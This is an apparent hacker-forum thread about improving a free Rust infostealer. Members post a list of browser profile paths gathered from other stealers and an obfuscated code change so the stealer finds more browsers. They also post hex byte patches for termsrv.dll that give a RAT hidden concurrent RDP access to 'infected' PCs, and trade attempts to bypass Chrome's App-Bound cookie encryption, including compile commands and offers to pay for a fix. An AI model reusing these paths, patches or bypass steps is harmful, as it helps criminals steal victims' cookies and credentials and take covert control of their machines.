FREE & opensrc Rust Stealer

Lipshitz · 23.07.2024

Heres the list I have so far (pulled from different stealers on github). Some programs dont have "User Data" in the path so it doesn'd find. I want to hopefully add these other gecko based programs by implementing a search function similar to the way it does for chrome (if possible). Im willing to send crypto to buy someone helpful beer

"Thorium": "AppData\\Local\\Thorium\\User Data",
"Chrome": "AppData\\Local\\Google\\Chrome\\User Data",
"Chrome (x86)": "AppData\\Local\\Google(x86)\\Chrome\\User Data",
"Chrome SxS": "AppData\\Local\\Google\\Chrome SxS\\User Data",
"Maple": "AppData\\Local\\MapleStudio\\ChromePlus\\User Data",
"Iridium": "AppData\\Local\\Iridium\\User Data",
"7Star": "AppData\\Local\\7Star\\7Star\\User Data",
"CentBrowser": "AppData\\Local\\CentBrowser\\User Data",
"Chedot": "AppData\\Local\\Chedot\\User Data",
"Vivaldi": "AppData\\Local\\Vivaldi\\User Data",
"Kometa": "AppData\\Local\\Kometa\\User Data",
"Elements": "AppData\\Local\\Elements Browser\\User Data",
"Epic Privacy Browser": "AppData\\Local\\Epic Privacy Browser\\User Data",
"Uran": "AppData\\Local\\uCozMedia\\Uran\\User Data",
"Fenrir": "AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer",
"Catalina": "AppData\\Local\\CatalinaGroup\\Citrio\\User Data",
"Coowon": "AppData\\Local\\Coowon\\Coowon\\User Data",
"Liebao": "AppData\\Local\\liebao\\User Data",
"QIP Surf": "AppData\\Local\\QIP Surf\\User Data",
"Orbitum": "AppData\\Local\\Orbitum\\User Data",
"Dragon": "AppData\\Local\\Comodo\\Dragon\\User Data",
"360Browser": "AppData\\Local\\360Browser\\Browser\\User Data",
"Maxthon": "AppData\\Local\\Maxthon3\\User Data",
"K-Melon": "AppData\\Local\\K-Melon\\User Data",
"CocCoc": "AppData\\Local\\CocCoc\\Browser\\User Data",
"Brave": "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data",
"Amigo": "AppData\\Local\\Amigo\\User Data",
"Torch": "AppData\\Local\\Torch\\User Data",
"Sputnik": "AppData\\Local\\Sputnik\\Sputnik\\User Data",
"Edge": "AppData\\Local\\Microsoft\\Edge\\User Data",
"DCBrowser": "AppData\\Local\\DCBrowser\\User Data",
"Yandex": "AppData\\Local\\Yandex\\YandexBrowser\\User Data",
"UR Browser": "AppData\\Local\\UR Browser\\User Data",
"Slimjet": "AppData\\Local\\Slimjet\\User Data",
"Opera": "AppData\\Roaming\\Opera Software\\Opera Stable",
"OperaGX": "AppData\\Roaming\\Opera Software\\Opera GX Stable",
"ChromeBeta": "AppData\\Local\\Google\\Chrome Beta\\User Data\\Default\\",
"Edge": "AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\",
"Brave": "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\",
"Speed360": "AppData\\Local\\360chrome\\Chrome\\User Data\\Default\\",
"QQBrowser": "AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default\\",
"Sogou": "AppData\\Roaming\\SogouExplorer\\Webkit\\Default\\",

"Firefox": "AppData\\Roaming\\Mozilla\\Firefox\\Profiles",
"SeaMonkey": "AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles",
"Waterfox": "AppData\\Roaming\\Waterfox\\Profiles",
"K-Meleon": "AppData\\Roaming\\K-Meleon\\Profiles",
"Thunderbird": "AppData\\Roaming\\Thunderbird\\Profiles",
"IceDragon": "AppData\\Roaming\\Comodo\\IceDragon\\Profiles",
"Cyberfox": "AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles",
"BlackHaw": "AppData\\Roaming\\NETGATE Technologies\\BlackHaw\\Profiles",
"Pale Moon": "AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles",
"Mercury": "AppData\\Roaming\\mercury\\Profiles",

Also I changed line 32 of chromium/mod.rs to add the other browsers:
if dir.file_name().to_string_lossy().contains(obfstr::obfstr!("User Data")) || dir.file_name().to_string_lossy().contains(obfstr::obfstr!("Opera")) || dir.file_name().to_string_lossy().contains(obfstr::obfstr!("Default"))

Tomek · 23.07.2024

Lipshitz сказал(а):

Heres the list I have so far (pulled from different stealers on github). Some programs dont have "User Data" in the path so it doesn'd find. I want to hopefully add these other gecko based programs by implementing a search function similar to the way it does for chrome (if possible). Im willing to send crypto to buy someone helpful beer

"Thorium": "AppData\\Local\\Thorium\\User Data",
"Chrome": "AppData\\Local\\Google\\Chrome\\User Data",
"Chrome (x86)": "AppData\\Local\\Google(x86)\\Chrome\\User Data",
"Chrome SxS": "AppData\\Local\\Google\\Chrome SxS\\User Data",
"Maple": "AppData\\Local\\MapleStudio\\ChromePlus\\User Data",
"Iridium": "AppData\\Local\\Iridium\\User Data",
"7Star": "AppData\\Local\\7Star\\7Star\\User Data",
"CentBrowser": "AppData\\Local\\CentBrowser\\User Data",
"Chedot": "AppData\\Local\\Chedot\\User Data",
"Vivaldi": "AppData\\Local\\Vivaldi\\User Data",
"Kometa": "AppData\\Local\\Kometa\\User Data",
"Elements": "AppData\\Local\\Elements Browser\\User Data",
"Epic Privacy Browser": "AppData\\Local\\Epic Privacy Browser\\User Data",
"Uran": "AppData\\Local\\uCozMedia\\Uran\\User Data",
"Fenrir": "AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer",
"Catalina": "AppData\\Local\\CatalinaGroup\\Citrio\\User Data",
"Coowon": "AppData\\Local\\Coowon\\Coowon\\User Data",
"Liebao": "AppData\\Local\\liebao\\User Data",
"QIP Surf": "AppData\\Local\\QIP Surf\\User Data",
"Orbitum": "AppData\\Local\\Orbitum\\User Data",
"Dragon": "AppData\\Local\\Comodo\\Dragon\\User Data",
"360Browser": "AppData\\Local\\360Browser\\Browser\\User Data",
"Maxthon": "AppData\\Local\\Maxthon3\\User Data",
"K-Melon": "AppData\\Local\\K-Melon\\User Data",
"CocCoc": "AppData\\Local\\CocCoc\\Browser\\User Data",
"Brave": "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data",
"Amigo": "AppData\\Local\\Amigo\\User Data",
"Torch": "AppData\\Local\\Torch\\User Data",
"Sputnik": "AppData\\Local\\Sputnik\\Sputnik\\User Data",
"Edge": "AppData\\Local\\Microsoft\\Edge\\User Data",
"DCBrowser": "AppData\\Local\\DCBrowser\\User Data",
"Yandex": "AppData\\Local\\Yandex\\YandexBrowser\\User Data",
"UR Browser": "AppData\\Local\\UR Browser\\User Data",
"Slimjet": "AppData\\Local\\Slimjet\\User Data",
"Opera": "AppData\\Roaming\\Opera Software\\Opera Stable",
"OperaGX": "AppData\\Roaming\\Opera Software\\Opera GX Stable",
"ChromeBeta": "AppData\\Local\\Google\\Chrome Beta\\User Data\\Default\\",
"Edge": "AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\",
"Brave": "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\",
"Speed360": "AppData\\Local\\360chrome\\Chrome\\User Data\\Default\\",
"QQBrowser": "AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default\\",
"Sogou": "AppData\\Roaming\\SogouExplorer\\Webkit\\Default\\",

"Firefox": "AppData\\Roaming\\Mozilla\\Firefox\\Profiles",
"SeaMonkey": "AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles",
"Waterfox": "AppData\\Roaming\\Waterfox\\Profiles",
"K-Meleon": "AppData\\Roaming\\K-Meleon\\Profiles",
"Thunderbird": "AppData\\Roaming\\Thunderbird\\Profiles",
"IceDragon": "AppData\\Roaming\\Comodo\\IceDragon\\Profiles",
"Cyberfox": "AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles",
"BlackHaw": "AppData\\Roaming\\NETGATE Technologies\\BlackHaw\\Profiles",
"Pale Moon": "AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles",
"Mercury": "AppData\\Roaming\\mercury\\Profiles",

Also I changed line 32 of chromium/mod.rs to add the other browsers:
if dir.file_name().to_string_lossy().contains(obfstr::obfstr!("User Data")) || dir.file_name().to_string_lossy().contains(obfstr::obfstr!("Opera")) || dir.file_name().to_string_lossy().contains(obfstr::obfstr!("Default"))

Ah, I see then there is need of changing few things

DimmuBurgor · 24.07.2024

Tomek сказал(а):

You mean RAT option, yes but check how is it working because it will just create new user on somebody PC, and you will use RDP to connect to it, thus it will only work if infected PC is running windows PRO version!!!

Код:

patch termsvc.dll to enable concurrent remote desktop sessions:

- Windows 10 version 1511         (November Update): This version replaces `8B 99 3C 06 00 00 8B B9 38 06 00 00` with `B8 00 01 00 00 89 81 38 06 00 00 90`. It can also use RDPWrap with the ini file that has the entries for `[10.0.10586.0]` and `[10.0.10586.0-SLInit]`.
- Windows 10 version 1607      (Anniversary Update): This version replaces `39 81 3C 06 00 00 0F 84 D5 FA FF FF` with `B8 00 01 00 00 89 81 38 06 00 00`. It can also use RDPWrap with the ini file that has the entries for `[10.0.14393.447]` and `[10.0.14393.447-SLInit]`.
- Windows 10 version 1703         (Creators Update): This version replaces `8B 99 3C 06 00 00 C7 FB FF FF FF FF` with `B8 F4 FF FF FF C7 FB F4 FF FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.15063.0]` and `[10.0.15063.0-SLInit]`.
- Windows 10 version 1709    (Fall Creators Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.16299.15]` and `[10.0.16299.15-SLInit]`.
- Windows 10 version 1803       (April 2018 Update): This version replaces `8B B9 FC FE FF FF E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.17134.1]` and `[10.0.17134.1-SLInit]`.
- Windows 10 version 1809     (October 2018 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.17763.1]` and `[10.0.17763.1-SLInit]`.
- Windows 10 version 1903         (May 2019 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.18362.53]`, `[10.0.18362.x64]`, and `[10.0.18362.x64-SLInit]`.
- Windows 10 version 1909    (November 2019 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.18362.x64+1909]`, `[10.0.18362.x64+1909-SLInit]`, and `[10.0.x64+1909-SLInit]`.
- Windows 10 version 2004         (May 2020 Update): This version replaces `39 81 3C 06 00 00 0F 84 5D 61 01 00` with `B8 00 01 00 00 89 81 38 06 00 00`. It can also use RDPWrap with the ini file that has the entries for `[10.0.19041.84]`, `[10.0.19041.84-SLInit]`, and `[10.0.x64+2004-SLInit]`.
- Windows 10 version 20H2     (October 2020 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.19041.84]`, `[10.0.19041.84-SLInit]`, and `[10.0.x64+2004-SLInit]`.
- Windows 10 version 21H1         (May 2021 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.19041.84]`, `[10.0.19041.84-SLInit]`, and `[10.0.x64+2004-SLInit]`.

Tomek · 24.07.2024

DimmuBurgor сказал(а):

Код:

patch termsvc.dll to enable concurrent remote desktop sessions:

- Windows 10 version 1511         (November Update): This version replaces `8B 99 3C 06 00 00 8B B9 38 06 00 00` with `B8 00 01 00 00 89 81 38 06 00 00 90`. It can also use RDPWrap with the ini file that has the entries for `[10.0.10586.0]` and `[10.0.10586.0-SLInit]`.
- Windows 10 version 1607      (Anniversary Update): This version replaces `39 81 3C 06 00 00 0F 84 D5 FA FF FF` with `B8 00 01 00 00 89 81 38 06 00 00`. It can also use RDPWrap with the ini file that has the entries for `[10.0.14393.447]` and `[10.0.14393.447-SLInit]`.
- Windows 10 version 1703         (Creators Update): This version replaces `8B 99 3C 06 00 00 C7 FB FF FF FF FF` with `B8 F4 FF FF FF C7 FB F4 FF FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.15063.0]` and `[10.0.15063.0-SLInit]`.
- Windows 10 version 1709    (Fall Creators Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.16299.15]` and `[10.0.16299.15-SLInit]`.
- Windows 10 version 1803       (April 2018 Update): This version replaces `8B B9 FC FE FF FF E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.17134.1]` and `[10.0.17134.1-SLInit]`.
- Windows 10 version 1809     (October 2018 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.17763.1]` and `[10.0.17763.1-SLInit]`.
- Windows 10 version 1903         (May 2019 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.18362.53]`, `[10.0.18362.x64]`, and `[10.0.18362.x64-SLInit]`.
- Windows 10 version 1909    (November 2019 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.18362.x64+1909]`, `[10.0.18362.x64+1909-SLInit]`, and `[10.0.x64+1909-SLInit]`.
- Windows 10 version 2004         (May 2020 Update): This version replaces `39 81 3C 06 00 00 0F 84 5D 61 01 00` with `B8 00 01 00 00 89 81 38 06 00 00`. It can also use RDPWrap with the ini file that has the entries for `[10.0.19041.84]`, `[10.0.19041.84-SLInit]`, and `[10.0.x64+2004-SLInit]`.
- Windows 10 version 20H2     (October 2020 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.19041.84]`, `[10.0.19041.84-SLInit]`, and `[10.0.x64+2004-SLInit]`.
- Windows 10 version 21H1         (May 2021 Update): This version replaces `39 C1 E9 D4 FE FF FF` with `B8 F4 FF FF FF E9 D5 FE FF FF`. It can also use RDPWrap with the ini file that has the entries for `[10.0.19041.84]`, `[10.0.19041.84-SLInit]`, and `[10.0.x64+2004-SLInit]`.

Ty a lot, I can implement it later

nobody0 · 31.07.2024

https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html Will it mean that only run from SYSTEM priv account will let decrypt cookies ? Or can be bypassed by running from real chrome procces (some dll payload sideload - from chrome.exe wich will run stealer)

Or we all should nvm? )) Cause i just test on Version 127.0.6533.88 (Official Build) (64-bit) - all ok (from admin, not system)

nyan · 11.08.2024

nobody0 сказал(а):

https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html Will it mean that only run from SYSTEM priv account will let decrypt cookies ? Or can be bypassed by running from real chrome procces (some dll payload sideload - from chrome.exe wich will run stealer)

Or we all should nvm? )) Cause i just test on Version 127.0.6533.88 (Official Build) (64-bit) - all ok (from admin, not system)

yes they admit themselves it is does basically nothing and you can just use HVNC

Lucifer61 · 11.08.2024

Tomek сказал(а):

Ah, I see then there is need of changing few things

Where do you even add these? I cant find a file with list of supported browsers anywhere

dolphinbill1 · 12.08.2024

Lucifer61 сказал(а):

Where do you even add these? I cant find a file with list of supported browsers anywhere

There's two folders firefox and chronium. it means firefox based browsers and similar to chronium as i understood

Lipshitz · 12.08.2024

Interesting Rust C2 framework I just saw. Thought maybe people here might appreciate

GitHub - Teach2Breach/Tempest: A command and control framework written in rust.

A command and control framework written in rust. Contribute to Teach2Breach/Tempest development by creating an account on GitHub.

github.com

maximrock · 07.09.2024

Thanks for this repo , is there still need update for this? *september

meiiion · 08.09.2024

Lipshitz сказал(а):

Interesting Rust C2 framework I just saw. Thought maybe people here might appreciate

GitHub - Teach2Breach/Tempest: A command and control framework written in rust.

A command and control framework written in rust. Contribute to Teach2Breach/Tempest development by creating an account on GitHub.

github.com

Who can modify it for cheap $ DM me please.

thanhytbg11d · 15.09.2024

where can i find how to decrypt cookies chrome version 128 ?

Tomek · 15.09.2024

thanhytbg11d сказал(а):

where can i find how to decrypt cookies chrome version 128 ?

oh yeah, there is need of update, but I have no clue how to deal with it...

dolphinbill1 · 16.09.2024

Tomek сказал(а):

oh yeah, there is need of update, but I have no clue how to deal with it...

wait im trying to do smth

Lipshitz · 18.09.2024

I'll throw some $ in a pot to give someone to implement a fix. Anyone else interested to help pay someone?

Lipshitz · 27.09.2024

Heres a POC just dropped to extract from new chrome. Hopefully can help someone add to the project

Unprotect the App-Bound Encryption Key via an RPC call to Google Chrome Elevation Service (PoC)

Unprotect the App-Bound Encryption Key via an RPC call to Google Chrome Elevation Service (PoC) - elevator_decrypt_key.cpp

gist.github.com

Ladger · 28.09.2024

Lipshitz сказал(а):

Heres a POC just dropped to extract from new chrome. Hopefully can help someone add to the project

Unprotect the App-Bound Encryption Key via an RPC call to Google Chrome Elevation Service (PoC)

Unprotect the App-Bound Encryption Key via an RPC call to Google Chrome Elevation Service (PoC) - elevator_decrypt_key.cpp

gist.github.com

Странно не работает, 203 ошибка

Lipshitz · 29.09.2024

Here's another post by someone saying they got it working. TBH this is above my knowledge. I'm just dropping info here and hoping someone else can figure it out

nobody0 · 01.10.2024

Lipshitz сказал(а):

Here's another post by someone saying they got it working. TBH this is above my knowledge. I'm just dropping info here and hoping someone else can figure it out

okay! we figured out how to dump App-bound-encryption-encrypted master key by using snovvcrash's PoC as a guidance and decrypt the relevant data using the key.

Apparently all you have to do is talk to the elevation service through COM (with the appropriate CLSID; we used Chrome… https://t.co/dpB0kmEdWE pic.twitter.com/QDwSe1lEFu
— 安坂星海 Azaka || VTuber (@AzakaSekai_) September 28, 2024

I compile it , but receive a 203 error too
was compile with g++ -o chrm.exe elevator_decrypt_key.cpp -lstdc++ -lole32 -loleaut32

then i found in localstale
"os_crypt":{"app_bound_encrypted_key":"QVBQQ.............AAAAAAAAAA"
input in app_bound...key.txt --->QVBQQ.............AAAAAAAAAA
run chrm.exe = get 302 error

https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/os_crypt/app_bound_encryption_provider_win.cc;drc=c0265133106c7647e90f9aaa4377d28190b1a6a9;l=30

but according the google docs key shoud have preffix APPB...

upd https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/os_crypt/README.md
according to that was try to run from programfiles and etc - but same no succes. Also i see that after run program Elevation Service is stopping

dolphinbill1 · 03.10.2024

nobody0 сказал(а):

I compile it , but receive a 203 error too
was compile with g++ -o chrm.exe elevator_decrypt_key.cpp -lstdc++ -lole32 -loleaut32

then i found in localstale
"os_crypt":{"app_bound_encrypted_key":"QVBQQ.............AAAAAAAAAA"
input in app_bound...key.txt --->QVBQQ.............AAAAAAAAAA
run chrm.exe = get 302 error

https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/os_crypt/app_bound_encryption_provider_win.cc;drc=c0265133106c7647e90f9aaa4377d28190b1a6a9;l=30
but according the google docs key shoud have preffix APPB...

upd https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/os_crypt/README.md
according to that was try to run from programfiles and etc - but same no succes. Also i see that after run program Elevation Service is stopping

same problem

FREE & opensrc Rust Stealer

(L3) cache

RAID-массив

CPU register

RAID-массив

Никт0

HDD-drive

floppy-диск

RAID-массив

(L3) cache

CD-диск

CD-диск

floppy-диск

RAID-массив

RAID-массив

(L3) cache

(L3) cache

RAID-массив

(L3) cache

Никт0

RAID-массив